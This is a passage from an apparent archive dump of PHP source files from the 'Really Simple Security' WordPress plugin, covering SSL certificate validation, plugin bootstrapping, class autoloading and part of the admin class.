		        $notices = RSSSL()->admin->get_notices_list( array('admin_notices'=>true) );
		        foreach ( $notices as $id => $notice ){
			        $notice           = $notice['output'];
			        $class            = 'open' === $notice['status'] ? 'warning' : 'error';
			        $more_info        = $notice['url'] ?? false;
			        $logo             = $notice['logo'] ?? false;
			        $dismiss_id       = isset( $notice['dismissible'] ) && $notice['dismissible'] ? $id : false;
			        $dashboard_button = isset( $notice['dashboard_button'] ) && $notice['dashboard_button'] ? $id : false;
			        echo RSSSL()->admin->notice_html( $class . ' ' . $id, $notice['msg'], $more_info, $logo, $dismiss_id, $dashboard_button );
		        }
            }
        }

	    /**
	     * Check if we are on the settings page
	     * @return bool
	     */

        public function is_settings_page()
        {
	        if (!rsssl_user_can_manage()) {
		        return false;
	        }
            return (isset($_GET['page']) && $_GET['page'] === 'really-simple-security');
        }

	    /**
	     * Get blog count for all networks
	     *
	     * @return int
	     */
        public function get_total_blog_count()
        {
            //Get the total blog count from all multisite networks
            $networks = get_networks();
            $total_blog_count = 0;
            foreach($networks as $network){
                $network_id = ($network->__get('id'));
                $blog_count = get_blog_count($network_id);
                $total_blog_count += $blog_count;
            }

            return $total_blog_count;
        }

    } //class closure
}
really-simple-ssl/class-certificate.php000064400000016615147510273070014237 0ustar00<?php defined( 'ABSPATH' ) or die();

if ( ! class_exists( 'rsssl_certificate' ) ) {
	class rsssl_certificate {

		private static $_this;
		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( 'you cannot create a second instance.' );
			}
			self::$_this = $this;
		}

		public static function this() {
			return self::$_this;
		}

		/**
		 *
		 * @since 3.0
		 *
		 * Check if the certificate is valid
		 *
		 * @return bool
		 *
		 */

		public function is_valid(): bool {
			$domain = $this->get_domain();
			if ( ! $domain || ! function_exists( 'stream_context_get_params' ) ) {
				set_transient( 'rsssl_certinfo', 'no-response', DAY_IN_SECONDS );
			} else {
				$certinfo = $this->get_certinfo( $domain );
				if ( ! $certinfo ) {
					return false;
				}

				$domain_valid = $this->is_domain_valid( $certinfo, $domain );
				$date_valid   = $this->is_date_valid( $certinfo );
				if ( $domain_valid && $date_valid ) {
					return true;
				}
			}
			return false;
		}

		/**
		 * get domain
		 * @return string
		 */
		public function get_domain() {
			$domain = site_url();
			//Parse to strip off any /subfolder/
			$parse = parse_url( $domain );
			return isset( $parse['host'] ) ? $parse['host'] : false;
		}

		/**
		 *
		 * Check common name(s) and alternative name(s) on certificate and match them to the site_url ($domain)
		 *
		 * @since 3.0
		 *
		 * @access public
		 * @param $certinfo
		 * @param $domain
		 * @return bool
		 *
		 */

		public function is_domain_valid( $certinfo, $domain ): bool {
			//first check standard situation
			//Get both the common name(s) and the alternative names from the certificate
			$certificate_common_names      = isset( $certinfo['subject']['CN'] ) ? $certinfo['subject']['CN'] : '';
			$certificate_alternative_names = isset( $certinfo['extensions']['subjectAltName'] ) ? $certinfo['extensions']['subjectAltName'] : '';
			//Check if the domain is found in either the certificate common name(s) (CN) or alternative name(s) (AN)
			$pos_cn = strpos( $certificate_common_names, $domain );
			$pos_an = strpos( $certificate_alternative_names, $domain );

			//If the domain is found, return true
			if ( false !== $pos_cn || false !== $pos_an ) {
				return true;
			}

			//if nothing found, we check for wildcard
			//strip of asterisk, and check if the wildcard domain is part of current domain
			$cert_domains = array();
			if ( $this->is_wildcard() ) {
				$certificate_alternative_names = explode( ', ', $certificate_alternative_names );
				$cert_domains[]                = trim( str_replace( '*', '', $certificate_common_names ) );
				foreach ( $certificate_alternative_names as $subject_alt_name ) {
					$cert_domains[] = trim( str_replace( '*', '', $subject_alt_name ) );
				}

				foreach ( $cert_domains as $cert_domain ) {
					//If the wildcard domain is found, return true
					if ( ( strpos( $domain, $cert_domain ) !== false ) ) {
						return true;
					}
				}
			}

			return false;
		}

		/**
		 * Check if detection failed
		 * @return bool
		 */
		public function detection_failed() {
			$certinfo = get_transient( 'rsssl_certinfo' );
			if ( $certinfo && 'no-response' === $certinfo ) {
				return true;
			}

			return false;
		}

		/**
		 *
		 * Check if the date is valid by looking at the validFrom and validTo times
		 *
		 * @since 3.0
		 *
		 * @access public
		 *
		 * @return bool
		 *
		 */

		public function is_date_valid( $certinfo ) {

			//Get the start date and end date from the certificate
			$start_date   = isset( $certinfo['validFrom_time_t'] ) ? $certinfo['validFrom_time_t'] : false;
			$end_date     = isset( $certinfo['validTo_time_t'] ) ? $certinfo['validTo_time_t'] : false;
			$current_date = time();

			//Check if the current date is between the start date and end date. If so, return true
			if ( $current_date > $start_date && ( $current_date < $end_date ) ) {
				return true;
			}

			return false;
		}

		/**
		 * Check if the certificate is valid, but about to expire.
		 * @return bool
		 */
		public function about_to_expire() {
			//if not valid, it's already expired
			if ( ! $this->is_valid() ) {
				return true;
			}

			//we have now renewed the cert info transient
			$certinfo         = get_transient( 'rsssl_certinfo' );
			$end_date         = isset( $certinfo['validTo_time_t'] ) ? $certinfo['validTo_time_t'] : false;
			$expiry_days_time = strtotime( '+' . rsssl_le_manual_generation_renewal_check . ' days' );
			if ( $expiry_days_time < $end_date ) {
				return false;
			} else {
				return true;
			}
		}

		/**
		 *
		 * Check if the certificate is a wildcard certificate
		 * Function is used in class-multisite.php to determine whether to show a notice for multisite subfolder installations without a wildcard certificate
		 *
		 * @since 3.0
		 *
		 * @access public
		 *
		 * @return bool
		 *
		 */

		public function is_wildcard() {
			$domain   = network_site_url();
			$certinfo = $this->get_certinfo( $domain );
			//Get the certificate common name
			$certificate_common_name = isset( $certinfo['subject']['CN'] ) ? $certinfo['subject']['CN'] : false;
			$subject_alt_names       = isset( $certinfo['extensions']['subjectAltName'] ) ? explode( ', ', $certinfo['extensions']['subjectAltName'] ) : false;

			//Check if the common name(s) contain an *
			if ( strpos( $certificate_common_name, '*' ) ) {
				return true;
			}

			if ( is_array( $subject_alt_names ) ) {
				foreach ( $subject_alt_names as $subject_alt_name ) {
					if ( strpos( $subject_alt_name, '*' ) !== false ) {
						return true;
					}
				}
			}
			return false;
		}

		/**
		 *
		 * Get the certificate info
		 *
		 * @since 3.0
		 * @param string $url
		 * @return string|bool
		 * @access public
		 *
		 */

		public function get_certinfo( $url ) {
			$certinfo = get_transient( 'rsssl_certinfo' );
			//if the last check resulted in a "no response", we skip this check for a day.
			if ( 'no-response' === $certinfo ) {
				return false;
			}

			if ( ! $certinfo || RSSSL()->admin->is_settings_page() ) {
				$url            = 'https://' . str_replace( array( 'https://', 'http://' ), '', $url );
				$original_parse = parse_url( $url, PHP_URL_HOST );
				if ( $original_parse ) {
					$get = stream_context_create( array( 'ssl' => array( 'capture_peer_cert' => true ) ) );
					if ( $get ) {
						set_error_handler( array( $this, 'custom_error_handling' ) );
						$read = stream_socket_client( 'ssl://' . $original_parse . ':443', $errno, $errstr, 5, STREAM_CLIENT_CONNECT, $get );
						restore_error_handler();

						if ( ! $read ) {
							$certinfo = 'no-response';
						}

						if ( 0 === $errno && $read ) {
							$cert = stream_context_get_params( $read );
							if ( isset( $cert['options']['ssl']['peer_certificate'] ) ) {
								$certinfo = openssl_x509_parse( $cert['options']['ssl']['peer_certificate'] );
							} else {
								$certinfo = 'no-response';
							}
						}
					}
				}
				set_transient( 'rsssl_certinfo', $certinfo, DAY_IN_SECONDS );
			}
			if ( 'not-valid' === $certinfo ) {
				return false;
			}
			if ( ! empty( $certinfo ) ) {
				return $certinfo;
			}

			return false;
		}

		/**
		 * Catch errors
		 *
		 * @since 3.0
		 *
		 * @access public
		 * @param       $errno
		 * @param       $errstr
		 * @param       $errfile
		 * @param       $errline
		 * @param array $errcontext
		 *
		 * @return bool
		 */

		public function custom_error_handling( $errno, $errstr, $errfile, $errline, $errcontext = array() ) {
			return true;
		}


		//class closure
	}
}
really-simple-ssl/rlrsssl-really-simple-ssl.php000064400000022130147510273070015717 0ustar00<?php
/**
 * Plugin Name: Really Simple Security
 * Plugin URI: https://really-simple-ssl.com
 * Description: Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation.
 * Version: 9.1.4
 * Requires at least: 5.9
 * Requires PHP: 7.4
 * Author: Really Simple Security
 * Author URI: https://really-simple-plugins.com
 * License: GPL2
 * Text Domain: really-simple-ssl
 * Domain Path: /languages
 * Network: true
 */
/*  Copyright 2023  Really Simple Plugins BV  (email : support@really-simple-ssl.com)
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License, version 2, as
    published by the Free Software Foundation.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

defined('ABSPATH') or die("you do not have access to this page!");

if (!function_exists('rsssl_activation_check')) {
	function rsssl_activation_check()
	{
		update_option('rsssl_activation', true, false );
		update_option('rsssl_show_onboarding', true, false );
		set_transient('rsssl_redirect_to_settings_page', true, HOUR_IN_SECONDS );
	}
	register_activation_hook( __FILE__, 'rsssl_activation_check' );
}
if ( !class_exists('REALLY_SIMPLE_SSL')) {
	class REALLY_SIMPLE_SSL
	{
		private static $instance;
		public $front_end;
		public $mixed_content_fixer;
		public $multisite;
		public $cache;
		public $server;
		public $admin;
		public $progress;
		public $onboarding;
		public $placeholder;
		public $certificate;
		public $wp_cli;
		public $mailer_admin;
		public $site_health;
		public $vulnerabilities;

		private function __construct()
		{
			if (isset($_GET['rsssl_apitoken']) && $_GET['rsssl_apitoken'] == get_option('rsssl_csp_report_token') ) {
				if ( !defined('RSSSL_LEARNING_MODE') ) define( 'RSSSL_LEARNING_MODE' , true );
			}
		}

		public static function instance()
		{
			if (!isset(self::$instance) && !(self::$instance instanceof REALLY_SIMPLE_SSL)) {
				self::$instance = new REALLY_SIMPLE_SSL;
				self::$instance->setup_constants();
				self::$instance->includes();
				self::$instance->front_end = new rsssl_front_end();
				self::$instance->mixed_content_fixer = new rsssl_mixed_content_fixer();

				if ( is_multisite() ) {
					self::$instance->multisite = new rsssl_multisite();
				}
				if ( rsssl_admin_logged_in() ) {
					self::$instance->cache = new rsssl_cache();
					self::$instance->placeholder = new rsssl_placeholder();
					self::$instance->server = new rsssl_server();
					self::$instance->admin = new rsssl_admin();
					self::$instance->mailer_admin = new rsssl_mailer_admin();
					self::$instance->onboarding = new rsssl_onboarding();
					self::$instance->progress = new rsssl_progress();
					self::$instance->certificate = new rsssl_certificate();
					self::$instance->site_health = new rsssl_site_health();
					if ( defined( 'WP_CLI' ) && WP_CLI ) {
						self::$instance->wp_cli = new rsssl_wp_cli();
					}
				}
				self::$instance->hooks();
			}
			return self::$instance;
		}

		private function setup_constants()
		{
			define('rsssl_url', plugin_dir_url(__FILE__));
			define('rsssl_path', trailingslashit(plugin_dir_path(__FILE__)));
			define('rsssl_template_path', trailingslashit(plugin_dir_path(__FILE__)).'grid/templates/');
			define('rsssl_plugin', plugin_basename(__FILE__));
			if ( !defined('rsssl_file') ){
				define('rsssl_file', __FILE__);
			}
			define('rsssl_version', '9.1.4');
			define('rsssl_le_cron_generation_renewal_check', 20);
			define('rsssl_le_manual_generation_renewal_check', 15);
		}
		private function includes()
		{
			require_once(rsssl_path . 'class-front-end.php');
			require_once(rsssl_path . 'functions.php');
			require_once(rsssl_path . 'class-mixed-content-fixer.php');
			if ( defined( 'WP_CLI' ) && WP_CLI ) {
				require_once( rsssl_path . 'class-wp-cli.php');
			}
			if ( is_multisite() ) {
				require_once( rsssl_path . 'class-multisite.php');
			}
			if ( rsssl_admin_logged_in() ) {
				require_once( rsssl_path . 'compatibility.php');
				require_once( rsssl_path . 'upgrade.php');
				require_once( rsssl_path . 'settings/settings.php' );
				require_once( rsssl_path . 'modal/modal.php' );
				require_once( rsssl_path . 'onboarding/class-onboarding.php' );
				require_once( rsssl_path . 'placeholders/class-placeholder.php' );
				require_once( rsssl_path . 'class-admin.php');
				require_once( rsssl_path . 'mailer/class-mail-admin.php');
				require_once( rsssl_path . 'class-cache.php');
				require_once( rsssl_path . 'class-server.php');
				require_once( rsssl_path . 'progress/class-progress.php');
				require_once( rsssl_path . 'class-certificate.php');
				require_once( rsssl_path . 'class-site-health.php');
				require_once( rsssl_path . 'mailer/class-mail.php');
				require_once( rsssl_path . 'lets-encrypt/letsencrypt.php' );
				if ( isset($_GET['install_pro'])) {
					require_once( rsssl_path . 'upgrade/upgrade-to-pro.php');
				}
			}

			require_once( rsssl_path . 'lets-encrypt/cron.php' );
			require_once( rsssl_path . '/security/security.php');
            require_once( rsssl_path . '/rsssl-auto-loader.php' );
		}

		private function hooks()
		{
			/**
			 * Fire custom hook
			 */
			if ( rsssl_admin_logged_in() ) {
				add_action('admin_notices', array( $this, 'admin_notices'));
				if ( is_multisite() ) {
					add_action('network_admin_notices', array( $this, 'admin_notices'));
				}
			}

			add_action('wp_loaded', array(self::$instance->front_end, 'force_ssl'), 20);
			if ( rsssl_admin_logged_in() ) {
				add_action('plugins_loaded', array(self::$instance->admin, 'init'), 10);
			}
		}

		/**
		 * Notice about possible compatibility issues with add ons
		 */
		public static function admin_notices() {
			//prevent showing on edit screen, as gutenberg removes the class which makes it editable.
			$screen = get_current_screen();
			if ( $screen && $screen->base === 'post' ) return;
			if ( self::has_old_addon('really-simple-ssl-pro/really-simple-ssl-pro.php') ||
			     self::has_old_addon('really-simple-ssl-pro-multisite/really-simple-ssl-pro-multisite.php' )
			) {
				?>
                <div id="message" class="error notice really-simple-plugins">
                    <p><?php echo __("Update Really Simple SSL Pro: the plugin needs to be updated to the latest version to be compatible.","really-simple-ssl");?></p>
                    <p>
						<?php printf(__("Visit the plugins overview or %srenew your license%s.","really-simple-ssl"),'<a href="https://really-simple-ssl.com/pro/?mtm_campaign=renew&mtm_source=free&mtm_content=upgrade" target="_blank" rel="noopener noreferrer">','</a>'); ?>
                    </p>
                </div>
				<?php
			}
		}

		/**
		 * Check if we have a pre 4.0 add on active which should be upgraded
		 * @param $file
		 *
		 * @return bool
		 */

		public static function has_old_addon($file) {
			require_once(ABSPATH.'wp-admin/includes/plugin.php');
			$data = false;
			if ( is_plugin_active($file)) $data = get_plugin_data( trailingslashit(WP_PLUGIN_DIR) . $file, false, false );
			if ($data && version_compare($data['Version'], '7.0.6', '<')) {
				return true;
			}

			if ($data && $data['Name']==='Really Simple SSL social' && version_compare($data['Version'], '4.0.8', '<')) {
				return true;
			}
			return false;
		}
	}
	function RSSSL()
	{
		return REALLY_SIMPLE_SSL::instance();
	}
	add_action('plugins_loaded', 'RSSSL', 8);

}

if ( ! function_exists('rsssl_add_manage_security_capability')){
	/**
	 * Add a user capability to WordPress and add to admin and editor role
	 */
	function rsssl_add_manage_security_capability(){
		$role = get_role( 'administrator' );
		if( $role && !$role->has_cap( 'manage_security' ) ){
			$role->add_cap( 'manage_security' );
		}
	}

	register_activation_hook( __FILE__, 'rsssl_add_manage_security_capability' );
}

if ( ! function_exists( 'rsssl_user_can_manage' ) ) {
	/**
	 * Check if user has required capability
	 * @return bool
	 */
	function rsssl_user_can_manage() {
		if ( current_user_can('manage_security') ) {
			return true;
		}

		#allow wp-cli access to activate ssl
		if ( defined( 'WP_CLI' ) && WP_CLI ){
			return true;
		}

		return false;
	}
}

if ( !function_exists('rsssl_admin_logged_in')){
	function rsssl_admin_logged_in(){
		$wpcli = defined( 'WP_CLI' ) && WP_CLI;
		return (is_admin() && rsssl_user_can_manage()) || rsssl_is_logged_in_rest() ||  wp_doing_cron() || $wpcli || defined('RSSSL_DOING_SYSTEM_STATUS') || defined('RSSSL_LEARNING_MODE');
	}
}



if ( !function_exists('rsssl_is_logged_in_rest')){
	function rsssl_is_logged_in_rest(){
		$valid_request = isset($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], '/reallysimplessl/v1/')!==false;
		if ( !$valid_request ) {
			return false;
		}
		return is_user_logged_in();
	}
}really-simple-ssl/rsssl-auto-loader.php000064400000003605147510273070014225 0ustar00<?php
/**
 * This file manages to autoload of the classes in the pro folder.
 *
 * @package     REALLY_SIMPLE_SSL
 */
spl_autoload_register(
    static function ($the_class) {
        // project-specific namespace prefix.
        $prefix = 'RSSSL\\';

        // base directory for the namespace prefix.
        $base_dir = rsssl_path;

        // does the class use the namespace prefix?
        $len = strlen($prefix);
        if (0 !== strncmp($prefix, $the_class, $len)) {
            return;
        }
        // get the relative class name.
        $relative_class = substr($the_class, $len);
        $relative_class = strtolower($relative_class);
        // converting backslashes to slashes, underscores to hyphens.
        $relative_class = str_replace(array('\\', '_', 'dynamictables'), array(
            '/',
            '-',
            'dynamic-tables'
        ), $relative_class); // New Line: handle the case of 'dynamic tables' to 'dynamic-tables' This is placeholder fix for now.

        $file = $base_dir . $relative_class; // old way to form filename.
       // $file = preg_replace('{/([^/]+)$}', '/class-$1.php', $file); // new way to form filename.

        if (strpos($relative_class, 'trait') !== false) {
            $file = preg_replace('{/([^/]+)$}', '/trait-$1.php', $file);
        } elseif (strpos($relative_class, 'interface') !== false) {
            $file = preg_replace('{/([^/]+)$}', '/interface-$1.php', $file);
        } else {
            $file = preg_replace('{/([^/]+)$}', '/class-$1.php', $file);
        }

//        if(str_contains(strtolower($the_class), 'trait')) {
//            var_dump(file_exists($file));
//            var_dump($file);
//            die('now');
//        }
        if (class_exists($the_class)) {
            return;
        }

        // if the file exists, require it.
        if (file_exists($file)) {
            require_once $file;
        }
    }
);
really-simple-ssl/class-admin.php000064400000303435147510273070013044 0ustar00<?php

defined( 'ABSPATH' ) or die();

require_once rsssl_path . '/lib/admin/class-helper.php';
use RSSSL\lib\admin\Helper;
class rsssl_admin {
    use Helper;
	private static $_this;
	public $wpconfig_siteurl_not_fixed   = false;
	public $no_server_variable           = false;
	public $do_wpconfig_loadbalancer_fix = false;
	public $plugin_dir                   = 'really-simple-ssl';
	public $plugin_filename              = 'rlrsssl-really-simple-ssl.php';
	public $abs_path;
	public $ssl_type = 'NA';
	public $configuration_loaded = false;

	public function __construct() {

		if ( isset( self::$_this ) ) {
			wp_die( 'cannot create a second instance.' );
		}

		if ( defined( 'rsssl_pro' ) ) {
			if ( is_multisite() ) {
				$this->plugin_dir      = 'really-simple-ssl-pro-multisite';
				$this->plugin_filename = 'really-simple-ssl-pro-multisite.php';
			} else {
				$this->plugin_dir      = 'really-simple-ssl-pro';
				$this->plugin_filename = 'really-simple-ssl-pro.php';
			}
		}

		self::$_this    = $this;
		$this->abs_path = $this->getabs_path();

		register_deactivation_hook( __DIR__ . '/' . $this->plugin_filename, array( $this, 'deactivate' ) );
		add_action( 'admin_init', array( $this, 'add_privacy_info' ) );
		add_action( 'admin_init', array( $this, 'maybe_dismiss_review_notice' ) );
		add_action( 'rsssl_daily_cron', array( $this, 'clear_admin_notices_cache' ) );

		//add the settings page for the plugin
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_assets' ) );
		add_action( 'admin_init', array( $this, 'listen_for_deactivation' ), 40 );
		add_action( 'plugins_loaded', array( $this, 'maybe_redirect_old_settings_url' ), 10 );

		//callbacks for the ajax dismiss buttons
		add_action( 'wp_ajax_rsssl_dismiss_review_notice', array( $this, 'dismiss_review_notice_callback' ) );

		//handle notices
		add_action( 'admin_notices', array( $this, 'show_notices' ) );
		//show review notice, only to free users
		if ( ! defined( 'rsssl_pro' ) && ! is_multisite() ) {
			add_action( 'admin_notices', array( $this, 'show_leave_review_notice' ) );
		}

		//hooks only needed on settings page
		if ( $this->is_settings_page() ) {
			/**
			 * Htaccess redirect handling
			 */
			add_action( 'rsssl_after_save_field', array( $this, 'maybe_flush_wprocket_htaccess' ), 100, 4 );
			add_action( 'admin_init', array( $this, 'insert_secure_cookie_settings' ), 70 );
			add_action( 'admin_init', array( $this, 'recheck_certificate' ) );
		}

		add_filter( 'rsssl_htaccess_security_rules', array( $this, 'add_htaccess_redirect' ) );
		add_filter( 'before_rocket_htaccess_rules', array( $this, 'add_htaccess_redirect_before_wp_rocket' ) );
		add_filter( 'admin_init', array( $this, 'handle_activation' ) );
		add_action( 'rocket_activation', 'rsssl_wrap_htaccess' );
		add_action( 'rocket_deactivation', 'rsssl_wrap_htaccess' );
		$plugin = rsssl_plugin;
		add_filter( "plugin_action_links_$plugin", array( $this, 'plugin_settings_link' ) );
		add_filter( "network_admin_plugin_action_links_$plugin", array($this,'plugin_settings_link' ) );

		add_action( 'rsssl_upgrade', array( $this, 'run_table_init_hook'), 10, 1);
		add_action( 'upgrader_process_complete', array( $this, 'run_table_init_hook'), 10, 1);
		add_action( 'wp_initialize_site', array( $this, 'run_table_init_hook'), 10, 1);
	}

	public static function this() {
		return self::$_this;
	}

	/**
	 * On Multisite site creation, run table init hook as well.
	 * @return void
	 */
	public function run_table_init_hook(){
		//only load on front-end if it's a cron job
		if ( !is_admin() && !wp_doing_cron() ) {
			return;
		}

		if ( !wp_doing_cron() && !rsssl_user_can_manage() ) {
			return;
		}

        //if this is already triggered, exit.
        if ( defined('RSSSL_INSTALLING_TABLES') && RSSSL_INSTALLING_TABLES ) {
            return;
        }

        define('RSSSL_INSTALLING_TABLES', true);

		do_action( 'rsssl_install_tables' );
		//we need to run table creation across subsites as well.
		if ( is_multisite() ) {
			$sites = get_sites();
			if (count($sites)>0) {
				foreach ($sites as $site) {
					switch_to_blog($site->blog_id);
					do_action( 'rsssl_install_tables' );
					restore_current_blog();
				}
			}
		}
	}

    public function handle_activation(){
        if ( !rsssl_admin_logged_in() ) {
            return;
        }

        if ( get_option('rsssl_activation') ) {
	        if ( !class_exists('rsssl_le_hosts')) {
		        require_once( rsssl_path . 'lets-encrypt/config/class-hosts.php');
	        }
	        ( new rsssl_le_hosts() )->detect_host_on_activation();
	        $this->run_table_init_hook();
	        do_action('rsssl_activation');
            delete_option('rsssl_activation');
        }
    }

	/**
	 * Add settings link on plugins overview page
	 * @param array $links
	 *
	 * @return array
	 */

	public function plugin_settings_link($links) {
		//free version
		if ( ! rsssl_user_can_manage() || ( is_multisite() && ! is_network_admin() ) ) {
			return $links;
		}
		$settings_link = '';
		$url = rsssl_admin_url();
		//settings only on network wide activated, or no multisite at all.
		if ( is_multisite() && rsssl_is_networkwide_active() && is_super_admin() ) {
			$settings_link = '<a href="' . $url . '">' . __( 'Settings', 'really-simple-ssl' ) . '</a>';
		} elseif ( ! is_multisite() ) {
			$settings_link = '<a href="' . $url . '">' . __( 'Settings', 'really-simple-ssl' ) . '</a>';
		}
		array_unshift( $links, $settings_link );

		//support
		$support = apply_filters( 'rsssl_support_link', '<a rel="noopener noreferrer" target="_blank" href="https://wordpress.org/support/plugin/really-simple-ssl/">' . __( 'Support', 'really-simple-ssl' ) . '</a>' );
		array_unshift( $links, $support );

		if ( ! defined( 'rsssl_pro' ) ) {
			$upgrade_link = '<a style="color:#2271b1;font-weight:bold" target="_blank" rel="noopener noreferrer" href="' .rsssl_link() . '">'
			                . __( 'Improve security - Upgrade', 'really-simple-ssl' ) . '</a>';
			array_unshift( $links, $upgrade_link );
		}

		return $links;
	}

	/**
	 * Redirect to the new settings page
	 *
	 * @return void
	 */
	public function maybe_redirect_old_settings_url() {
		if ( ! rsssl_user_can_manage() || is_multisite() ) {
			return;
		}
		if ( isset( $_GET['page'] ) && 'rlrsssl_really_simple_ssl' === $_GET['page'] ) {
			wp_redirect( rsssl_admin_url() );
			exit;
		}
	}

	/**
	 * Add some privacy info, telling our users we aren't tracking them
	 */

	public function add_privacy_info() {
		if ( ! function_exists( 'wp_add_privacy_policy_content' ) ) {
			return;
		}

		$content =
			sprintf(
				// translators: %s is replaced with the hyperlink
				__( 'Really Simple Security and Really Simple Security add-ons do not process any personal identifiable information, so the GDPR does not apply to these plugins or usage of these plugins on your website. You can find our privacy policy <a href="%s" rel="noopener noreferrer" target="_blank">here</a>.', 'really-simple-ssl' ),
				'https://really-simple-ssl.com/privacy-statement/'
			);

		wp_add_privacy_policy_content(
			'Really Simple Security',
			wp_kses_post( wpautop( $content, false ) )
		);
	}

	/**
	 * Check if current day falls within required date range.
	 *
	 * @return bool
	 */

	public function is_bf() {

		if ( defined( 'rsssl_pro' ) ) {
			return false;
		}

		// Get current date and time in GMT as timestamp
		$current_date = strtotime( gmdate( 'Y-m-d H:i:s' ) );

		// Define the start and end dates for the range in GMT (including specific times)
		$start_date = strtotime( 'November 25 2024 00:00:00 GMT' );
		$end_date   = strtotime( 'December 2 2024 23:59:59 GMT' );

		// Check if the current date and time falls within the date range
		if ( $current_date >= $start_date && $current_date <= $end_date ) {
			return true;
		}

		return false;
	}

	/**
	 * Initializes the admin class
	 *
	 * @since  2.2
	 *
	 * @access public
	 *
	 */

	public function init() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( defined( 'RSSSL_FORCE_ACTIVATE' ) && RSSSL_FORCE_ACTIVATE ) {
			rsssl_update_option( 'ssl_enabled', true );
		}

		/*
		 * check if we're one minute past the activation. Then flush rewrite rules
		 * this way we lower the memory impact on activation
		 * Flush should happen on shutdown, not on init, as often happens in other plugins
		 * https://codex.wordpress.org/Function_Reference/flush_rewrite_rules
		 * */

		$activation_time          = get_option( 'rsssl_flush_rewrite_rules' );
		$more_than_one_minute_ago = $activation_time < strtotime( '-1 minute' );
		$less_than_2_minutes_ago  = $activation_time > strtotime( '-2 minute' );
		if ( $more_than_one_minute_ago && $less_than_2_minutes_ago && get_option( 'rsssl_flush_rewrite_rules' ) ) {
			delete_option( 'rsssl_flush_rewrite_rules' );
			add_action( 'shutdown', 'flush_rewrite_rules' );
		}
		$more_than_2_minute_ago  = get_option( 'rsssl_flush_caches' ) < strtotime( '-2 minute' );
		$less_than_5_minutes_ago = get_option( 'rsssl_flush_caches' ) > strtotime( '-5 minute' );
		if ( $more_than_2_minute_ago && $less_than_5_minutes_ago && get_option( 'rsssl_flush_caches' ) ) {
			delete_option( 'rsssl_flush_caches' );
			add_action( 'shutdown', array( RSSSL()->cache, 'flush' ) );
		}

		/*
			Detect configuration when:
		- on settings page
		- SSL not enabled
		*/

		//when configuration detection should run again
		if ( ! rsssl_get_option( 'ssl_enabled' ) || $this->is_settings_page() || defined( 'RSSSL_DOING_SYSTEM_STATUS' ) ) {
			$this->detect_configuration();
			if ( ! $this->wpconfig_ok() ) {
				rsssl_update_option( 'ssl_enabled', false );
			} else {
				//when one of the used server variables was found, test if the redirect works
				if ( RSSSL()->server->uses_htaccess() && 'NA' !== $this->ssl_type ) {
					$this->htaccess_test_success();
				}
			}
		}
	}

	/**
	 * Add htaccess redirect
	 * @hooked
	 * @param array $rules
	 * @return []
	 */

	public function add_htaccess_redirect( $rules ) {
		//we don't want these rules added by rsssl if wp rocket active.
		//if it's deactivating, start adding them again.
		if ( $this->is_deactivating_wprocket() || ! function_exists( 'rocket_clean_domain' ) ) {
			$rule = $this->get_redirect_rules();
			if ( ! empty( $rule ) ) {
				$rules[] = [
					'rules'      => $rule,
					'identifier' => 'RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1',
				];
			}
		}

		return $rules;
	}

	/**
	 * Check if we're in the middle of wp rocket deactivation
	 *
	 * @return bool
	 */
	public function is_deactivating_wprocket() {
		//default deactivating
		$is_deactivating = isset( $_GET['action'] ) && 'deactivate' === $_GET['action'] && isset( $_GET['plugin'] ) && strpos( $_GET['plugin'], 'wp-rocket.php' ) !== false;
		//deactivating with modal
		return $is_deactivating || ( isset( $_GET['action'] ) && 'rocket_deactivation' === $_GET['action'] );
	}

	/**
	 * Deactivate the plugin while keeping SSL
	 * Activated when the 'uninstall_keep_ssl' button is clicked in the settings tab
	 *
	 */

	public function listen_for_deactivation() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( ! isset( $_GET['token'] ) || ( ! wp_verify_nonce( $_GET['token'], 'rsssl_deactivate_plugin' ) ) ) {
			return;
		}

		if ( isset( $_GET['action'] ) && 'uninstall_keep_ssl' === $_GET['action'] ) {
			//deactivate plugin, but don't revert to http.
			$plugin = $this->get_current_rsssl_dirname() . '/' . $this->plugin_filename;
			$plugin = plugin_basename( trim( $plugin ) );

			if ( is_multisite() ) {
				$network_current = get_site_option( 'active_sitewide_plugins', array() );
				if ( is_plugin_active_for_network( $plugin ) ) {
					unset( $network_current[ $plugin ] );
				}
				update_site_option( 'active_sitewide_plugins', $network_current );
				//remove plugin one by one on each site
				$sites = get_sites();
				foreach ( $sites as $site ) {
					switch_to_blog( $site->blog_id );
					$current = get_option( 'active_plugins', array() );
					$current = $this->remove_plugin_from_array( $plugin, $current );
					update_option( 'active_plugins', $current );
					restore_current_blog(); //switches back to previous blog, not current, so we have to do it each loop
				}
			} else {
				$current = get_option( 'active_plugins', array() );
				$current = $this->remove_plugin_from_array( $plugin, $current );
				update_option( 'active_plugins', $current );
			}
			do_action( 'rsssl_deactivate' );

			rsssl_clear_scheduled_hooks();

			wp_redirect( admin_url( 'plugins.php' ) );
            exit;
		}
	}

	/**
	 * Remove the plugin from the active plugins array when called from listen_for_deactivation
	 *
	 * */

	public function remove_plugin_from_array( $plugin, $current ) {
		$key = array_search( $plugin, $current, true );
		if ( false !== $key ) {
			unset( $current[ $key ] );
		}
		return $current;
	}

	/**
	 * @return bool
	 *
	 * Check if this site is a Bitnami site
	 */
	public function uses_bitnami(): bool {
		if ( isset( $_SERVER['DOCUMENT_ROOT'] ) && $_SERVER['DOCUMENT_ROOT'] === '/opt/bitnami/wordpress' ) {
            return true;
        }

        return false;
	}

	/**
	 * Check if site uses an htaccess.conf file, used in bitnami installations
	 *
	 * @Since 3.1
	 */

	public function uses_htaccess_conf() {
		$htaccess_conf_file = dirname( ABSPATH ) . '/conf/htaccess.conf';
		//conf/htaccess.conf can be outside of open basedir, return false if so
		$open_basedir = ini_get( 'open_basedir' );
